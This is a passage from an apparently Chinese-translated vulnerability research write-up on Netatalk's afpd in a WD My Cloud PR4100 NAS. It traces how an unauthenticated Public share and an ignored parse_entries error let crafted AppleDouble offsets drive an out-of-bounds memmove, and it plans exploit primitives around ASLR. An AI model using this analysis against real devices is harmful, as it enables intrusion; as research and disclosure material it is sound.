...\n};<\/pre>\n\n\n\n<p>\u6709\u8da3\u7684\u662f\uff0c\u897f\u90e8\u6570\u636e PR4100<code>Public<\/code>\u9ed8\u8ba4\u5177\u6709 AFP \u5171\u4eab\uff0c\u65e0\u9700\u7528\u6237\u8eab\u4efd\u9a8c\u8bc1\u5373\u53ef\u4f7f\u7528\u3002\u8fd9\u610f\u5473\u7740\u53ea\u8981\u6211\u4eec\u4ee5<code>Public<\/code>\u5171\u4eab\u4e3a\u76ee\u6807\uff0c\u6211\u4eec\u5c31\u53ef\u4ee5\u8bbf\u95ee\u6240\u6709\u8fd9\u4e9b\u8eab\u4efd\u9a8c\u8bc1\u540e\u5904\u7406\u7a0b\u5e8f\u3002\u8fd8\u503c\u5f97\u4e00\u63d0\u7684\u662f\uff0c\u76f8\u540c\u7684<code>Public<\/code>\u5171\u4eab\u53ef\u901a\u8fc7\u670d\u52a1\u5668\u6d88\u606f\u5757 (SMB) \u534f\u8bae\u63d0\u4f9b\u7ed9\u6765\u5bbe\u7528\u6237\uff0c\u65e0\u9700\u4efb\u4f55\u5bc6\u7801\u3002\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7 AFP \u6216 SMB \u8bfb\u53d6\/\u521b\u5efa\/\u4fee\u6539\u4efb\u4f55\u6587\u4ef6\uff0c\u53ea\u8981\u5b83\u4eec\u5b58\u50a8\u5728<code>Public<\/code>\u5171\u4eab\u4e2d\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u611f\u5174\u8da3\u7684AFP\u547d\u4ee4\u662f\u201cFPOpenFork\u201d\uff0c\u7531<code>afp_openfork()<\/code>handler\u5904\u7406\u3002\u5982\u524d\u6240\u8ff0\uff0cfork \u6587\u4ef6\u662f\u4e00\u79cd\u7279\u6b8a\u7c7b\u578b\u7684\u6587\u4ef6\uff0c\u7528\u4e8e\u5b58\u50a8\u4e0e\u5e38\u89c4\u6587\u4ef6\u5173\u8054\u7684\u5143\u6570\u636e\u3002fork \u6587\u4ef6\u4ee5 AppleDouble \u6587\u4ef6\u683c\u5f0f\u5b58\u50a8\u3002<code>afp_openfork()<\/code>\u5904\u7406\u7a0b\u5e8f\u627e\u5230\u8981\u6253\u5f00\u548c\u8c03\u7528\u7684\u5377\u548c\u5206\u53c9\u6587\u4ef6\u8def\u5f84\uff08<code>ad_open()<\/code>\u201cad\u201d\u4ee3\u8868 AppleDouble\uff09\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/etc\/afpd\/fork.c\n\/* ----------------------- *\/\nint afp_openfork(AFPObj *obj _U_, char *ibuf, size_t ibuflen _U_, char *rbuf, size_t *rbuflen)\n{\n    ...\n    struct adouble  *adsame = NULL;\n    ...\n    if ((opened = of_findname(vol, s_path))) {\n        adsame = opened-&gt;of_ad;\n    }\n    ...\n    if ((ofork = of_alloc(vol, curdir, path, &amp;ofrefnum, eid, adsame, st)) == NULL)\n        return AFPERR_NFILE;\n    ...\n    \/* First ad_open(), opens data or ressource fork *\/\n    if (ad_open(ofork-&gt;of_ad, upath, adflags, 0666) &lt; 0) {<\/pre>\n\n\n\n<p>\u8be5<code>ad_open()<\/code>\u51fd\u6570\u975e\u5e38\u901a\u7528\uff0c\u56e0\u4e3a\u5b83\u53ef\u4ee5\u6253\u5f00\u4e0d\u540c\u7684\u5206\u53c9\u6587\u4ef6\uff1a\u6570\u636e\u5206\u53c9\u6587\u4ef6\u3001\u5143\u6570\u636e\u5206\u53c9\u6587\u4ef6\u6216\u8d44\u6e90\u5206\u53c9\u6587\u4ef6\u3002\u7531\u4e8e\u6211\u4eec\u5728\u8fd9\u91cc\u5904\u7406\u8d44\u6e90\u5206\u53c9\uff0c\u6211\u4eec\u6700\u7ec8\u8c03\u7528<code>ad_open_rf()<\/code>\uff08\u201crf\u201d\u4ee3\u8868\u8d44\u6e90\u5206\u53c9\uff09\u3002<\/p>\n\n\n\n<p>\u6ce8\u610f\uff1a<code>ad_open()<\/code>\u5728<code>libatalk\/<\/code>\u6587\u4ef6\u5939\u4e2d\uff0c\u800c\u4e0d\u662f<code>etc\/afpd<\/code>\u524d\u9762\u8ba8\u8bba\u7684\u4ee3\u7801\u3002\u56e0\u6b64\uff0c\u6211\u4eec\u4ece\u73b0\u5728\u5f00\u59cb\u5206\u6790\u7684\u4ee3\u7801\u5728<code>libatalk.so<\/code>.<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\n\/*!\n * Open data-, metadata(header)- or ressource fork\n *\n * ad_open(struct adouble *ad, const char *path, int adflags, int flags)\n * ad_open(struct adouble *ad, const char *path, int adflags, int flags, mode_t mode)\n *\n * You must call ad_init() before ad_open, usually you'll just call it like this: \\n\n * @code\n *      struct adoube ad;\n *      ad_init(&amp;ad, vol-&gt;v_adouble, vol-&gt;v_ad_options);\n * @endcode\n *\n * Open a files data fork, metadata fork or ressource fork.\n *\n * @param ad        (rw) pointer to struct adouble\n * @param path      (r)  Path to file or directory\n * @param adflags   (r)  Flags specifying which fork to open, can be or'd:\n *                         ADFLAGS_DF:        open data fork\n *                         ADFLAGS_RF:        open ressource fork\n *                         ADFLAGS_HF:        open header (metadata) file\n *                         ADFLAGS_NOHF:      it's not an error if header file couldn't be opened\n *                         ADFLAGS_NORF:      it's not an error if reso fork couldn't be opened\n *                         ADFLAGS_DIR:       if path is a directory you MUST or ADFLAGS_DIR to adflags\n *\n *                       Access mode for the forks:\n *                         ADFLAGS_RDONLY:    open read only\n *                         ADFLAGS_RDWR:      open read write\n *\n *                       Creation flags:\n *                         ADFLAGS_CREATE:    create if not existing\n *                         ADFLAGS_TRUNC:     truncate\n *\n *                       Special flags:\n *                         ADFLAGS_CHECK_OF:  check for open forks from us and other afpd's\n *                         ADFLAGS_SETSHRMD:  this adouble struct will be used to set sharemode locks.\n *                                            This basically results in the files being opened RW instead of RDONLY.\n * @param mode      (r)  mode used with O_CREATE\n *\n * The open mode flags (rw vs ro) have to take into account all the following requirements:\n * - we remember open fds for files because me must avoid a single close releasing fcntl locks for other\n *   fds of the same file\n *\n * BUGS:\n *\n * * on Solaris (HAVE_EAFD) ADFLAGS_RF doesn't work without\n *   ADFLAGS_HF, because it checks whether ad_meta_fileno() is already\n *   openend. As a workaround pass ADFLAGS_SETSHRMD.\n *\n * @returns 0 on success, any other value indicates an error\n *\/\nint ad_open(struct adouble *ad, const char *path, int adflags, ...)\n{\n    ...\n    if (adflags &amp; ADFLAGS_RF) {\n        if (ad_open_rf(path, adflags, mode, ad) != 0) {\n            EC_FAIL;\n        }\n    }<\/pre>\n\n\n\n<p><code>ad_open_rf()<\/code>\u7136\u540e\u8c03\u7528<code>ad_open_rf_ea()<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\n\/*!\n * Open ressource fork\n *\/\nstatic int ad_open_rf(const char *path, int adflags, int mode, struct adouble *ad)\n{\n    int ret = 0;\n\n    switch (ad-&gt;ad_vers) {\n    case AD_VERSION2:\n        ret = ad_open_rf_v2(path, adflags, mode, ad);\n        break;\n    case AD_VERSION_EA:\n        ret = ad_open_rf_ea(path, adflags, mode, ad);\n        break;\n    default:\n        ret = -1;\n        break;\n    }\n\n    return ret;\n}<\/pre>\n\n\n\n<p>\u8be5<code>ad_open_rf_ea()<\/code>\u51fd\u6570\u6253\u5f00\u8d44\u6e90\u5206\u53c9\u6587\u4ef6\u3002\u5047\u8bbe\u6587\u4ef6\u5df2\u7ecf\u5b58\u5728\uff0c\u5b83\u6700\u7ec8\u8c03\u7528<code>ad_header_read_osx()<\/code>\u6765\u8bfb\u53d6\u5b9e\u9645\u5185\u5bb9\uff0c\u5b83\u662f AppleDouble \u683c\u5f0f\u7684\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">static int ad_open_rf_ea(const char *path, int adflags, int mode, struct adouble *ad)\n{\n    ...\n\n#ifdef HAVE_EAFD\n    ...\n#else\n    EC_NULL_LOG( rfpath = ad-&gt;ad_ops-&gt;ad_path(path, adflags) );\n    if ((ad_reso_fileno(ad) = open(rfpath, oflags)) == -1) {\n        ...\n    }\n#endif\n    opened = 1;\n    ad-&gt;ad_rfp-&gt;adf_refcount = 1;\n    ad-&gt;ad_rfp-&gt;adf_flags = oflags;\n    ad-&gt;ad_reso_refcount++;\n\n#ifndef HAVE_EAFD\n    EC_ZERO_LOG( fstat(ad_reso_fileno(ad), &amp;st) );\n    if (ad-&gt;ad_rfp-&gt;adf_flags &amp; O_CREAT) {\n        \/* This is a new adouble header file, create it *\/\n        LOG(log_debug, logtype_ad, \"ad_open_rf(\\\"%s\\\"): created adouble rfork, initializing: \\\"%s\\\"\",\n            path, rfpath);\n        EC_NEG1_LOG( new_ad_header(ad, path, NULL, adflags) );\n        LOG(log_debug, logtype_ad, \"ad_open_rf(\\\"%s\\\"): created adouble rfork, flushing: \\\"%s\\\"\",\n            path, rfpath);\n        ad_flush(ad);\n    } else {\n        \/* Read the adouble header *\/\n        LOG(log_debug, logtype_ad, \"ad_open_rf(\\\"%s\\\"): reading adouble rfork: \\\"%s\\\"\",\n            path, rfpath);\n        EC_NEG1_LOG( ad_header_read_osx(rfpath, ad, &amp;st) );\n    }\n#endif<\/pre>\n\n\n\n<p>\u6211\u4eec\u7ec8\u4e8e\u8fbe\u5230\u4e86\u6211\u4eec\u7684\u6613\u53d7\u653b\u51fb\u7684\u529f\u80fd\uff1a<code>ad_header_read_osx()<\/code>.<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u4e86\u89e3\u6f0f\u6d1e<\/h2>\n\n\n\n<p>\u8bfb\u53d6\u8d44\u6e90\u5206\u652f\u7684<code>ad_header_read_osx()<\/code>\u5185\u5bb9\uff0c\u5373\u4ee5 AppleDouble \u6587\u4ef6\u683c\u5f0f\u89e3\u91ca\u5b83\u3002Netatalk \u5c06 AppleDouble \u6587\u4ef6\u683c\u5f0f\u7684\u5143\u7d20\u5b58\u50a8\u5728\u5176\u81ea\u5df1\u7684<code>adouble<\/code>\u7ed3\u6784\u4e2d\uff0c\u6211\u4eec\u5c06\u5f88\u5feb\u8be6\u7ec6\u8bf4\u660e\u3002<code>ad_header_read_osx()<\/code>\u9996\u5148\u8bfb\u53d6 AppleDouble \u6807\u5934\u4ee5\u786e\u5b9a\u6709\u591a\u5c11\u6761\u76ee\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\n\/* Read an ._ file, only uses the resofork, finderinfo is taken from EA *\/\nstatic int ad_header_read_osx(const char *path, struct adouble *ad, const struct stat *hst)\n{\n    ...\n    struct adouble      adosx;\n    ...\n    LOG(log_debug, logtype_ad, \"ad_header_read_osx: %s\", path ? fullpathname(path) : \"\");\n    ad_init_old(&amp;adosx, AD_VERSION_EA, ad-&gt;ad_options);\n    buf = &amp;adosx.ad_data[0];\n    memset(buf, 0, sizeof(adosx.ad_data));\n    adosx.ad_rfp-&gt;adf_fd = ad_reso_fileno(ad);\n\n    \/* read the header *\/\n    EC_NEG1( header_len = adf_pread(ad-&gt;ad_rfp, buf, AD_DATASZ_OSX, 0) );\n    ...\n    memcpy(&amp;adosx.ad_magic, buf, sizeof(adosx.ad_magic));\n    memcpy(&amp;adosx.ad_version, buf + ADEDOFF_VERSION, sizeof(adosx.ad_version));\n    adosx.ad_magic = ntohl(adosx.ad_magic);\n    adosx.ad_version = ntohl(adosx.ad_version);\n    ...\n    memcpy(&amp;nentries, buf + ADEDOFF_NENTRIES, sizeof( nentries ));\n    nentries = ntohs(nentries);\n    len = nentries * AD_ENTRY_LEN;<\/pre>\n\n\n\n<p>\u7136\u540e\u6211\u4eec\u770b\u5230\u5b83\u8c03\u7528<code>parse_entries()<\/code>\u6765\u89e3\u6790\u4e0d\u540c\u7684 AppleDouble \u6761\u76ee\u3002\u4e0b\u9762\u6709\u8da3\u7684\u662f\uff0c\u5982\u679c<code>parse_entries()<\/code>\u5931\u8d25\uff0c\u5b83\u4f1a\u8bb0\u5f55\u4e00\u4e2a\u9519\u8bef\u4f46\u4e0d\u4f1a\u9000\u51fa\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">    nentries = len \/ AD_ENTRY_LEN; \nif (parse_entries( &amp; adosx, buf, nentries) != 0 ) {         LOG(log_warning, logtype_ad, \"ad_header_read(%s): malformed AppleDouble\" ,             path ? fullpathname(path) : \"\" );     }     \n\n \n<\/pre>\n\n\n\n<p>\u5982\u679c\u6211\u4eec\u4ed4\u7ec6\u89c2\u5bdf<code>parse_entries()<\/code>\uff0c\u6211\u4eec\u4f1a\u53d1\u73b0\u5982\u679c\u53d1\u751f\u4ee5\u4e0b\u60c5\u51b5\u4e4b\u4e00\uff0c\u5b83\u4f1a\u8bbe\u7f6e\u9519\u8bef\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>AppleDouble\u201ceid\u201d\u4e3a\u96f6<\/li><li>AppleDouble\u201coffset\u201d\u8d85\u51fa\u8303\u56f4<\/li><li>\u5982\u679c\u6dfb\u52a0\u5230\u6570\u636e\u957f\u5ea6\u7684 AppleDouble\u201coffset\u201d\u8d85\u51fa\u754c\u9650\uff0c\u5219\u201ceid\u201d\u4e0d\u6307\u8d44\u6e90\u5206\u53c9\u65f6<\/li><\/ul>\n\n\n\n<p>\u6211\u4eec\u77e5\u9053\u6211\u4eec\u6b63\u5728\u5904\u7406\u8d44\u6e90\u5206\u53c9\uff0c\u6240\u4ee5\u7b2c\u4e8c\u4e2a\u6761\u4ef6\u5f88\u6709\u8da3\u3002\u7b80\u800c\u8a00\u4e4b\uff0c\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u63d0\u4f9b\u4e00\u4e2a\u8d85\u51fa\u8303\u56f4\u7684 AppleDouble \u201c\u504f\u79fb\u91cf\u201d\u5e76<code>parse_entries()<\/code>\u8fd4\u56de\u4e00\u4e2a\u9519\u8bef\uff0c\u4f46<code>ad_header_read_osx()<\/code>\u5ffd\u7565\u8be5\u9519\u8bef\u5e76\u7ee7\u7eed\u5904\u7406\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\n\/**\n * Read an AppleDouble buffer, returns 0 on success, -1 if an entry was malformatted\n **\/\nstatic int parse_entries(struct adouble *ad, char *buf, uint16_t nentries)\n{\n    uint32_t   eid, len, off;\n    int        ret = 0;\n\n    \/* now, read in the entry bits *\/\n    for (; nentries &gt; 0; nentries-- ) {\n        memcpy(&amp;eid, buf, sizeof( eid ));\n        eid = get_eid(ntohl(eid));\n        buf += sizeof( eid );\n        memcpy(&amp;off, buf, sizeof( off ));\n        off = ntohl( off );\n        buf += sizeof( off );\n        memcpy(&amp;len, buf, sizeof( len ));\n        len = ntohl( len );\n        buf += sizeof( len );\n\n        ad-&gt;ad_eid[eid].ade_off = off;\n        ad-&gt;ad_eid[eid].ade_len = len;\n\n        if (!eid\n            || eid &gt; ADEID_MAX\n            || off &gt;= sizeof(ad-&gt;ad_data)\n            || ((eid != ADEID_RFORK) &amp;&amp; (off + len &gt;  sizeof(ad-&gt;ad_data))))\n        {\n            ret = -1;\n            LOG(log_warning, logtype_ad, \"parse_entries: bogus eid: %u, off: %u, len: %u\",\n                (uint)eid, (uint)off, (uint)len);\n        }\n    }\n\n    return ret;\n}<\/pre>\n\n\n\n<p>\u4ece\u8fd9\u91cc\u5f00\u59cb\uff0c\u4e86\u89e3\u54ea\u4e9b\u7f13\u89e3\u63aa\u65bd\u662f\u6709\u7528\u7684\uff0c\u4ee5\u4e86\u89e3\u6211\u4eec\u9700\u8981\u7ed5\u8fc7\u4ec0\u4e48\uff0c\u5e76\u5728<code>parse_entries()<\/code>\u8fd4\u56de\u540e\u5206\u6790\u4ee3\u7801\u4ee5\u4e86\u89e3\u6211\u4eec\u53ef\u4ee5\u6784\u5efa\u4ec0\u4e48\u6837\u7684\u5229\u7528\u539f\u8bed\u3002<\/p>\n\n\n\n<h1 class=\"wp-block-heading\">\u5f00\u53d1<\/h1>\n\n\n\n<h2 class=\"wp-block-heading\">\u7f13\u89e3\u63aa\u65bd\u5230\u4f4d<\/h2>\n\n\n\n<p>\u68c0\u67e5\u5185\u6838\u7684 ASLR \u8bbe\u7f6e\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>root@MyCloudPR4100 ~ # cat \/proc\/sys\/kernel\/randomize_va_space \n2<\/code><\/pre>\n\n\n\n<p>\u4ece<a href=\"https:\/\/docs.oracle.com\/cd\/E37670_01\/E36387\/html\/ol_aslr_sec.html\">\u8fd9\u91cc<\/a>\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li>0 \u2013 \u7981\u7528 ASLR\u3002\u5982\u679c\u4f7f\u7528 norandmaps \u5f15\u5bfc\u53c2\u6570\u5f15\u5bfc\u5185\u6838\uff0c\u5219\u5e94\u7528\u6b64\u8bbe\u7f6e\u3002<\/li><li>1 \u2013 \u968f\u673a\u5316\u5806\u6808\u3001\u865a\u62df\u52a8\u6001\u5171\u4eab\u5bf9\u8c61 (VDSO) \u9875\u548c\u5171\u4eab\u5185\u5b58\u533a\u57df\u7684\u4f4d\u7f6e\u3002\u6570\u636e\u6bb5\u7684\u57fa\u5730\u5740\u7d27\u8ddf\u5728\u53ef\u6267\u884c\u4ee3\u7801\u6bb5\u7684\u672b\u5c3e\u3002<\/li><li>2 \u2013 \u968f\u673a\u5316\u5806\u6808\u3001VDSO \u9875\u3001\u5171\u4eab\u5185\u5b58\u533a\u57df\u548c\u6570\u636e\u6bb5\u7684\u4f4d\u7f6e\u3002\u8fd9\u662f\u9ed8\u8ba4\u8bbe\u7f6e\u3002<\/li><\/ul>\n\n\n\n<p><a href=\"https:\/\/github.com\/Wenzel\/checksec.py\">\u4f7f\u7528checksec.py<\/a><code>afpd<\/code>\u68c0\u67e5\u4e8c\u8fdb\u5236\u6587\u4ef6\u7684\u7f13\u89e3\u63aa\u65bd\uff1a<a href=\"https:\/\/github.com\/Wenzel\/checksec.py\"><\/a><\/p>\n\n\n\n<pre class=\"wp-block-code\"><code>&#91;*] '\/home\/cedric\/pwn2own\/firmware\/wd_pr4100\/_WDMyCloudPR4100_5.17.107_prod.bin.extracted\/squashfs-root\/usr\/sbin\/afpd'\n    Arch:     amd64-64-little\n    RELRO:    Partial RELRO\n    Stack:    No canary found\n    NX:       NX enabled\n    PIE:      PIE enabled<\/code><\/pre>\n\n\n\n<p>\u6240\u4ee5\u603b\u7ed3\u4e00\u4e0b\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>afpd<\/code>: \u968f\u673a\u7684<ul><li><code>.text<\/code>: \u8bfb\/\u6267\u884c<\/li><li><code>.data<\/code>\uff1a\u8bfb\/\u5199<\/li><\/ul><\/li><li>\u56fe\u4e66\u9986\uff1a\u968f\u673a<\/li><li>\u5806\uff1a\u968f\u673a<\/li><li>\u5806\u6808\uff1a\u968f\u673a<\/li><\/ul>\n\n\n\n<p>\u7531\u4e8e\u4e00\u5207\u90fd\u662f\u968f\u673a\u7684\uff0c\u6211\u4eec\u5c06\u9700\u8981\u67d0\u79cd\u6cc4\u6f0f\u539f\u8bed\u6765\u7ed5\u8fc7 ASLR\u3002\u6211\u4eec\u4ecd\u7136\u9700\u8981\u8c03\u67e5\u662f\u5426\u53ef\u4ee5\u89e6\u53d1\u8d8a\u754c\u504f\u79fb\u8bbf\u95ee\u5bf9\u5229\u7528\u6709\u7528\u7684\u8def\u5f84\u3002<\/p>\n\n\n\n<h2 class=\"wp-block-heading\">\u5bfb\u627e\u597d\u7684\u5229\u7528\u539f\u8bed<\/h2>\n\n\n\n<p>\u6211\u4eec\u518d\u6765\u5206\u6790\u4e00\u4e0b\u91cc\u9762\u7684\u4ee3\u7801<code>ad_header_read_osx()<\/code>\u3002\u8ba9\u6211\u4eec\u5047\u8bbe\u524d\u9762\u8ba8\u8bba\u7684<code>parse_entries()<\/code>\u51fd\u6570\u89e3\u6790\u4e00\u4e2a AppleDouble \u6587\u4ef6\uff0c\u5176\u4e2d\u4e00\u4e9b\u6761\u76ee\u7684\u504f\u79fb\u91cf\u53ef\u80fd\u8d85\u51fa\u8303\u56f4\u3002\u8ba9\u6211\u4eec\u770b\u770b<code>parse_entries()<\/code>\u56de\u5f52\u540e\u6211\u4eec\u80fd\u505a\u4e9b\u4ec0\u4e48\u3002\u6211\u4eec\u770b\u5230\uff0c\u5047\u8bbe<code>if (ad_getentrylen(&amp;adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {<\/code>\u6761\u4ef6\u901a\u8fc7\uff0c\u5b83\u6700\u7ec8\u4f1a\u8c03\u7528 into\u00a0<code>ad_convert_osx()<\/code>\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">    nentries = len \/ AD_ENTRY_LEN;\n    if (parse_entries(&amp;adosx, buf, nentries) != 0) {\n        LOG(log_warning, logtype_ad, \"ad_header_read(%s): malformed AppleDouble\",\n            path ? fullpathname(path) : \"\");\n    }\n\n    if (ad_getentrylen(&amp;adosx, ADEID_FINDERI) != ADEDLEN_FINDERI) {\n        LOG(log_warning, logtype_ad, \"Convert OS X to Netatalk AppleDouble: %s\",\n            path ? fullpathname(path) : \"\");\n\n        if (retry_read &gt; 0) {\n            LOG(log_error, logtype_ad, \"ad_header_read_osx: %s, giving up\", path ? fullpathname(path) : \"\");\n            errno = EIO;\n            EC_FAIL;\n        }\n        retry_read++;\n        if (ad_convert_osx(path, &amp;adosx) == 1) {\n            goto reread;\n        }\n        errno = EIO;\n        EC_FAIL;\n    }<\/pre>\n\n\n\n<p>\u6b63\u5982\u4e0b\u9762\u7684\u8bc4\u8bba\u6240\u8ff0\uff0c\u8be5<code>ad_convert_osx()<\/code>\u51fd\u6570\u8d1f\u8d23\u5c06 Apple \u7684 AppleDouble \u6587\u4ef6\u683c\u5f0f\u8f6c\u6362\u4e3a Netatalk \u4e2d\u5b9e\u73b0\u7684\u683c\u5f0f\u7684\u7b80\u5316\u7248\u672c\u3002<\/p>\n\n\n\n<p>\u6211\u4eec\u770b\u5230\u8be5<code>ad_convert_osx()<\/code>\u51fd\u6570\u9996\u5148\u5c06\u539f\u59cb fork \u6587\u4ef6\uff08AppleDouble \u6587\u4ef6\u683c\u5f0f\uff09\u6620\u5c04\u5230\u5185\u5b58\u4e2d\u3002\u7136\u540e\u5b83\u8c03\u7528<code>memmove()<\/code>\u4e22\u5f03 FinderInfo \u90e8\u5206\u5e76\u5c06\u5176\u4f59\u90e8\u5206\u79fb\u5230\u5b83\u4e0a\u9762\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\n\/**\n * Convert from Apple's ._ file to Netatalk\n *\n * Apple's AppleDouble may contain a FinderInfo entry longer then 32 bytes\n * containing packed xattrs. Netatalk can't deal with that, so we\n * simply discard the packed xattrs.\n *\n * As we call ad_open() which might result in a recursion, just to be sure\n * use static variable in_conversion to check for that.\n *\n * Returns -1 in case an error occured, 0 if no conversion was done, 1 otherwise\n **\/\nstatic int ad_convert_osx(const char *path, struct adouble *ad)\n{\n    EC_INIT;\n    static bool in_conversion = false;\n    char *map;\n    int finderlen = ad_getentrylen(ad, ADEID_FINDERI);\n    ssize_t origlen;\n\n    if (in_conversion || finderlen == ADEDLEN_FINDERI)\n        return 0;\n    in_conversion = true;\n\n    LOG(log_debug, logtype_ad, \"Converting OS X AppleDouble %s, FinderInfo length: %d\",\n        fullpathname(path), finderlen);\n\n    origlen = ad_getentryoff(ad, ADEID_RFORK) + ad_getentrylen(ad, ADEID_RFORK);\n\n    map = mmap(NULL, origlen, PROT_READ | PROT_WRITE, MAP_SHARED, ad_reso_fileno(ad), 0);\n    if (map == MAP_FAILED) {\n        LOG(log_error, logtype_ad, \"mmap AppleDouble: %s\\n\", strerror(errno));\n        EC_FAIL;\n    }\n\n    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI,\n            map + ad_getentryoff(ad, ADEID_RFORK),\n            ad_getentrylen(ad, ADEID_RFORK));<\/pre>\n\n\n\n<p>\u662f\u65f6\u5019\u770b\u770b<code>adouble<\/code>\u7ed3\u6784\u4e86\u3002\u5bf9\u6211\u4eec\u6765\u8bf4\u91cd\u8981\u7684\u9886\u57df\u662f<code>ad_eid[]<\/code>\u548c<code>ad_data[]<\/code>\u3002<code>adouble<\/code>\u8bfb\u53d6 AppleDouble \u6587\u4ef6\u65f6\uff0c\u8be5\u7ed3\u6784\u5df2\u88ab\u586b\u5145\u3002\u6240\u4ee5\u6211\u4eec\u63a7\u5236\u6240\u6709\u8fd9\u4e9b\u9886\u57df\u3002<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/include\/atalk\/adouble.h\nstruct ad_entry {\n    off_t     ade_off;\n    ssize_t   ade_len;\n};\n\nstruct adouble {\n    uint32_t            ad_magic;         \/* Official adouble magic                   *\/\n    uint32_t            ad_version;       \/* Official adouble version number          *\/\n    char                ad_filler[16];\n    struct ad_entry     ad_eid[ADEID_MAX];\n\n    ...\n    char                ad_data[AD_DATASZ_MAX];\n};<\/pre>\n\n\n\n<p>\u7528\u4e8e\u8bbf\u95ee EID \u504f\u79fb\u91cf\u6216\u957f\u5ea6\u5b57\u6bb5\u7684\u51fd\u6570\/\u5b8f\u4ee5\u53ca\u6570\u636e\u5185\u5bb9\u975e\u5e38\u4e0d\u8a00\u81ea\u660e\uff1a<\/p>\n\n\n\n<ul class=\"wp-block-list\"><li><code>ad_getentryoff()<\/code>: \u83b7\u53d6\u4e00\u4e2a EID \u504f\u79fb\u503c<\/li><li><code>ad_getentrylen()<\/code>: \u83b7\u53d6\u4e00\u4e2a EID \u957f\u5ea6\u503c<\/li><li><code>ad_entry()<\/code>\uff1a\u83b7\u53d6\u4e0e EID \u5173\u8054\u7684\u6570\u636e\uff08\u901a\u8fc7\u4ece\u4e0a\u8ff0\u504f\u79fb\u4e2d\u68c0\u7d22\uff09<\/li><\/ul>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/libatalk\/adouble\/ad_open.c\noff_t ad_getentryoff(const struct adouble *ad, int eid)\n{\n    if (ad-&gt;ad_vers == AD_VERSION2)\n        return ad-&gt;ad_eid[eid].ade_off;\n\n    switch (eid) {\n    case ADEID_DFORK:\n        return 0;\n    case ADEID_RFORK:\n#ifdef HAVE_EAFD\n        return 0;\n#else\n        return ad-&gt;ad_eid[eid].ade_off;\n#endif\n    default:\n        return ad-&gt;ad_eid[eid].ade_off;\n    }\n    \/* deadc0de *\/\n    AFP_PANIC(\"What am I doing here?\");\n}\n<\/pre>\n\n\n\n<pre class=\"wp-block-preformatted\">\/\/netatalk-3.1.12\/include\/atalk\/adouble.h\n#define ad_getentrylen(ad,eid)     ((ad)-&gt;ad_eid[(eid)].ade_len)\n#define ad_setentrylen(ad,eid,len) ((ad)-&gt;ad_eid[(eid)].ade_len = (len))\n#define ad_setentryoff(ad,eid,off) ((ad)-&gt;ad_eid[(eid)].ade_off = (off))\n#define ad_entry(ad,eid)           ((caddr_t)(ad)-&gt;ad_data + (ad)-&gt;ad_eid[(eid)].ade_off)<\/pre>\n\n\n\n<p>\u6240\u4ee5\u6211\u4eec\u63a7\u5236 AppleDouble \u6587\u4ef6\u683c\u5f0f\u4e2d\u7684\u6240\u6709\u5b57\u6bb5\u3002\u66f4\u51c6\u786e\u5730\u8bf4\uff0c\u6211\u4eec\u77e5\u9053\u6211\u4eec\u53ef\u4ee5\u4e3a\u6211\u4eec\u9700\u8981\u7684\u6240\u6709\u6761\u76ee\u5236\u4f5c\u4e00\u4e2a\u65e0\u6548\u7684 EID\u201c\u504f\u79fb\u91cf\u201d\uff0c\u56e0\u4e3a\u524d\u9762\u8ba8\u8bba\u4e86<code>parse_entries()<\/code>\u672a\u68c0\u67e5\u7684\u8fd4\u56de\u503c\u3002\u6b64\u5916\uff0c\u6211\u4eec\u53ef\u4ee5\u901a\u8fc7\u62e5\u6709\u66f4\u5927\u7684\u6570\u636e\u6765\u5236\u4f5c\u6240\u9700\u5927\u5c0f\u7684\u8d44\u6e90\u5206\u652f\u3002\u8fd9\u610f\u5473\u7740\u6211\u4eec\u53ef\u4ee5\u6709\u6548\u5730\u63a7\u5236\u8c03\u7528\u7684\u6e90\u3001\u76ee\u6807\u548c\u957f\u5ea6\uff0c<code>memmove()<\/code>\u4ee5\u5728\u5185\u5b58\u6620\u5c04\u4e4b\u5916\u63a7\u5236\u6211\u4eec\u63a7\u5236\u7684\u5199\u5165\u6570\u636e\u3002<\/p>\n\n\n\n<p>\u6ce8\u610f\uff1a\u6211\u4eec\u8981\u5b9a\u4f4d\u7684\u6761\u76ee\u662f<code>ADEID_FINDERI<\/code>\u548c<code>ADEID_RFORK<\/code>\uff1a<\/p>\n\n\n\n<pre class=\"wp-block-preformatted\">    memmove(map + ad_getentryoff(ad, ADEID_FINDERI) + ADEDLEN_FINDERI, \n            map + ad_getentryoff(ad, ADEID_RFORK), \n            ad_getentrylen(ad, 